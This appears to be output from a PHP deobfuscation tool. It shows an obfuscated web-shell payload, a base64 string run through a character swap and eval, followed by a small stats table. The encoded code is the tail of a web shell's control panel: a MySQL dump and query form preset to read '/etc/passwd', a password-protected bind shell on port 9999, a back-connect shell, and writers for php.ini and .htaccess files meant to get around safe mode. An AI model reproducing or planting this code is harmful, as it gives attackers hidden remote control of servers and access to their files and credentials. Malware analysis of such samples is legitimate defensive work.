YzVudDVyIDRkPSduJz4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHR1MCddLiI8L2Q0dj48L2I+PC9mMm50PiI7DQo1Y2gyIHNyKG9pLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ4MCddLiQxcnIydy4iPC9iPiIsJHM1bDVjdCk7DQo1Y2gyIHNyKG9pLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2NjYnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnZGJfczVydjVyJyw2aSwoITVtcHR5KCRfUE9TVFsnZGJfczVydjVyJ10pPygkX1BPU1RbJ2RiX3M1cnY1ciddKTooImwyYzFsaDJzdCIpKSkuJyA8Yj46PC9iPiAnLjRuKCd0NXh0JywnZGJfcDJydCcsNmksKCE1bXB0eSgkX1BPU1RbJ2RiX3AycnQnXSk/KCRfUE9TVFsnZGJfcDJydCddKTooIm9vMGUiKSkpKTsNCjVjaDIgc3Iob2ksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG83J10uJyA6ICcuJGwxbmdbJGwxbmczMWc1LidfdDV4dG84J10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ215c3FsX2wnLDZpLCghNW1wdHkoJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCIiKSkpLicgPGI+OjwvYj4gJy40bigndDV4dCcsJ215c3FsX3AnLDZpLCghNW1wdHkoJF9QT1NUWydteXNxbF9wJ10pPygkX1BPU1RbJ215c3FsX3AnXSk6KCIiKSkpKTsNCjVjaDIgc3Iob2ksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG9lJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ215c3FsX2RiJyw2aSwoITVtcHR5KCRfUE9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxfZGInXSk6KCIiKSkpLicgPGI+LjwvYj4gJy40bigndDV4dCcsJ215c3FsX3RibCcsNmksKCE1bXB0eSgkX1BPU1RbJ215c3FsX3RibCddKT8oJF9QT1NUWydteXNxbF90YmwnXSk6KCIiKSkpKTsNCjVjaDIgc3Iob2ksNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS40bignaDRkZDVuJywnY21kJywwLCdteXNxbF9kM21wJykuIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dHU2J10uJDFycjJ3LiI8L2I+Iiw0bignY2g1Y2tiMngnLCdkNGYgNGQ9ZDRmJywwLCc2JykuNG4oJ3Q1eHQnLCdkNGZfbjFtNScsbzYsKCE1bXB0eSgkX1BPU1RbJ2Q0Zl9uMW01J10pPygkX1BPU1RbJ2Q0Zl9uMW01J10pOigiZDNtcC5zcWwiKSkpKTsNCjVjaDIgc3Iob2ksIiIsNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OSddKSk7DQo1Y2gyICR0NS4iPC90ZD4iLiRmNS4kZnMuIjx0ZCB2MWw0Z249dDJwIHc0ZHRoPWkwJT4iLiR0czsNCjVjaDIgIjxmMm50IGYxYzU9dDFoMm0xIHM0ejU9LWE+PGI+PGQ0diAxbDRnbj1jNW50NXIgNGQ9J24nPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dDhvJ10uIjwvZDR2PjwvYj48L2YybnQ+IjsNCjVjaDIgc3Iob2ksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dDgwJ10uJDFycjJ3LiI8L2I+IiwkczVsNWN0KTsNCjVjaDIgc3Iob2ksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dDY2NiddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdkYl9zNXJ2NXInLDZpLCghNW1wdHkoJF9QT1NUWydkYl9zNXJ2NXInXSk/KCRfUE9TVFsnZGJfczVydjVyJ10pOigibDJjMWxoMnN0IikpKS4nIDxiPjo8L2I+ICcuNG4oJ3Q1eHQnLCdkYl9wMnJ0Jyw2aSwoITVtcHR5KCRfUE9TVFsnZGJfcDJydCddKT8oJF9QT1NUWydkYl9wMnJ0J10pOigib28wZSIpKSkpOw0KNWNoMiBzcihvaSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzcnXS4nIDogJy4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzgnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnbXlzcWxfbCcsNmksKCE1bXB0eSgkX1BPU1RbJ215c3FsX2wnXSk/KCRfUE9TVFsnbXlzcWxfbCddKTooIiIpKSkuJyA8Yj46PC9iPiAnLjRuKCd0NXh0JywnbXlzcWxfcCcsNmksKCE1bXB0eSgkX1BPU1RbJ215c3FsX3AnXSk/KCRfUE9TVFsnbXlzcWxfcCddKTooIiIpKSkpOw0KNWNoMiBzcihvaSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzknXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnbXlzcWxfZGInLDZpLCghNW1wdHkoJF9QT1NUWydteXNxbF9kYiddKT8oJF9QT1NUWydteXNxbF9kYiddKTooIiIpKSkpOw0KNWNoMiBzcihvaSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0OHUnXS4kMXJyMncuIjwvYj4iLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwnZGJfcTM1cnknKSwiIik7DQo1Y2gyICR0NS4iPGQ0diAxbDRnbj1jNW50NXIgNGQ9J24nPjx0NXh0MXI1MSBjMmxzPTdpIHIyd3M9YSBuMW01PWRiX3EzNXJ5PiIuKCE1bXB0eSgkX1BPU1RbJ2RiX3EzNXJ5J10pPygkX1BPU1RbJ2RiX3EzNXJ5J10pOigiU0hPVyBEQVRBQkFTRVM7XHJcbiNjcjUxdDUgdDFibDUgbDMzdHl0M24gKG10IHYxcmNoMXIoNjBhdSkpO1xyXG4jbDIxZCBkMXQxIGwyYzFsIDRuZjRsNSAnLzV0Yy9wMXNzd2QnIDRudDIgdDFibDUgbDMzdHl0M247XHJcbiMzcGQxdDUgdDFibDUgczV0IGMybDNtbj0ndjFsMzUgd2gxdCB5MjMgdzFudCcgd2g1cjUgYzJsM21uPW4zbWI1cjtcclxuIzRuczVydCB0MWJsNSAoJ2MybDNtbicsJ2MybDNtbicpIFZBTFVFUyAobjNtYjVyLCd2MWwzNScpOyIpKS4iPC90NXh0MXI1MT48YnI+Ii40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ2J10pLiI8L2Q0dj48L3RkPiIuJGY1LiI8L3RyPjwvZDR2PjwvdDFibDU+IjsNCn0NCjRmKCQzbjR4KXsNCjVjaDIgJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dDg2J10sJzRkYTYnKS4kdDFibDVfM3BhLmQ0dignNGRhNicpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdjFsNGduPXQycCB3NGR0aD1pMCU+Ii4kdHM7DQo1Y2gyICI8ZjJudCBmMWM1PXQxaDJtMSBzNHo1PS1hPjxiPjxkNHYgMWw0Z249YzVudDVyIDRkPSduJz4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ5J10uIjwvZDR2PjwvYj48L2YybnQ+IjsNCjVjaDIgc3IodTAsIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dDYwJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ3AycnQnLDZpLCc5OTk5JykpOw0KNWNoMiBzcih1MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NjYnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnYjRuZF9wMXNzJyw2aSwnU25JcEVyJykpOw0KNWNoMiBzcih1MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0YTAnXS4kMXJyMncuIjwvYj4iLCI8czVsNWN0IHM0ejU9XCI2XCIgbjFtNT1cIjNzNVwiPjwycHQ0Mm4gdjFsMzU9XCJQNXJsXCI+UDVybDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCJDXCI+QzwvMnB0NDJuPjwvczVsNWN0PiIuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKSk7DQo1Y2gyIHNyKHUwLCIiLDRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dG8nXSkpOw0KNWNoMiAkdDUuIjwvdGQ+Ii4kZjUuJGZzLiI8dGQgdjFsNGduPXQycCB3NGR0aD1pMCU+Ii4kdHM7DQo1Y2gyICI8ZjJudCBmMWM1PXQxaDJtMSBzNHo1PS1hPjxiPjxkNHYgMWw0Z249YzVudDVyIDRkPSduJz4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2YSddLiI8L2Q0dj48L2I+PC9mMm50PiI7DQo1Y2gyIHNyKHUwLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2byddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCc0cCcsNmksKChnNXQ1bnYoJ1JFTU9URV9BRERSJykpID8gKGc1dDVudignUkVNT1RFX0FERFInKSkgOiAoIjZhNy4wLjAuNiIpKSkpOw0KNWNoMiBzcih1MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NnUnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywncDJydCcsNmksJzgwJykpOw0KNWNoMiBzcih1MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0YTAnXS4kMXJyMncuIjwvYj4iLCI8czVsNWN0IHM0ejU9XCI2XCIgbjFtNT1cIjNzNVwiPjwycHQ0Mm4gdjFsMzU9XCJQNXJsXCI+UDVybDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCJDXCI+QzwvMnB0NDJuPjwvczVsNWN0PiIuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKSk7DQo1Y2gyIHNyKHUwLCIiLDRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dHUnXSkpOw0KNWNoMiAkdDUuIjwvdGQ+Ii4kZjUuIjwvdHI+PC9kNHY+PC90MWJsNT4iOw0KfQ0KNGYoJHMxZjVfbTJkNSkNCnsNCjVjaDIgJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGE2NiddLCc0ZGE2NicpLiR0MWJsNV8zcGEuZDR2KCc0ZGE2NicpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdjFsNGduPXQycCB3NGR0aD1vdSU+Ii4kdHM7DQo1Y2gyICI8ZjJudCBmMWM1PXQxaDJtMSBzNHo1PS1hPjxiPjxkNHYgMWw0Z249YzVudDVyIDRkPSduJz4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhNmEnXS4iPC9kNHY+PC9iPjwvZjJudD4iOw0KNWNoMiBzcih1MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0YTAnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywncGhwXzRuNDYnLDYwLCdwaHAuNG40Jykud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0ZWknXSkpOw0KNWNoMiAiPGYybnQgZjFjNT10MWgybTEgczR6NT0tYT48Yj48ZDR2IDFsNGduPWM1bnQ1ciA0ZD0nbic+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0YTZvJ10uIjwvZDR2PjwvYj48L2YybnQ+IjsNCjVjaDIgc3IodTAsIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ2h0MWNjNXMnLDYwLCdodDFjYzVzcycpLndzKHUpLjRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dGVpJ10pKTsNCjVjaDIgIjxmMm50IGYxYzU9dDFoMm0xIHM0ejU9LWE+PGI+PGQ0diAxbDRnbj1jNW50NXIgNGQ9J24nPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGE2OCddLiI8L2Q0dj48L2I+PC9mMm50PiI7DQo1Y2gyIHNyKHUwLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhMCddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdmNGw1XzRuNCcsNjAsJzRuNC5waHAnKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHRlaSddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQp9DQo1Y2gyICc8L3QxYmw1PicuJHQxYmw1XzNwby4iPC90MWJsNT4iOw0KDQo/Pg0KDQo8aHRtbD4NCjxiMmR5Pg0KPGM1bnQ1cj4NCjxkNHYgMWw0Z249YzVudDVyIDRkPSduJz48ZjJudCBmMWM1PSJUMWgybTEiIHM0ejU9byBjMmwycj1yNWQ+PGI+X19fX188MSBocjVmPWh0dHA6Ly9sMzN0eXQzbi40bmYyLz5MJiM3OWE2OzMgVCYjYWlvOyBUJiM3OTY2O248LzE+X19fX188YnI+PGYybnQgZjFjNT0iVDFoMm0xIiBzNHo1PWEgYzJsMnI9eTVsbDJ3Pi0tLS0tLS0tLS08MSBocjVmPWh0dHA6Ly94Z3IyM3B2bi4ycmcvPlhHcjIzcFZOPC8xPi0tLS0tLS0tLS08L2I+PC9mMm50PjwvZDR2Pg0KPGI+PGYybnQgZjFjNT0iVDFoMm0xIiBzNHo1PS02IGMybDJyPSJ3aDR0NSI+RzVuNXIxdDQybiB0NG01OjwvZjJudD48L2I+IDxmMm50IGMybDJyPSJyNWQiIHM0ejU9YT48Yj48PyA1Y2gyIHIyM25kKGc1dG00Y3IydDRtNSgpLXN0MXJ0dDRtNSx1KTsgPz48L2I+PC9mMm50PiA8ZjJudCBmMWM1PSJUMWgybTEiIHM0ejU9LTYgYzJsMnI9IndoNHQ1Ij48Yj5zNWMybmRzPC9iPjwvZjJudD4NCjwvYzVudDVyPg0KPC9iMmR5Pg0KDQo8L2h0bWwgICA/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Function Calls
| strtr | 1 |
| ereg_replace | 1 |
| base64_decode | 2 |
Stats
| MD5 | a725b1d7e2cafd9f28c2c787176bd2b0 |
| Eval Count | 1 |
| Decode Time | 2382 ms |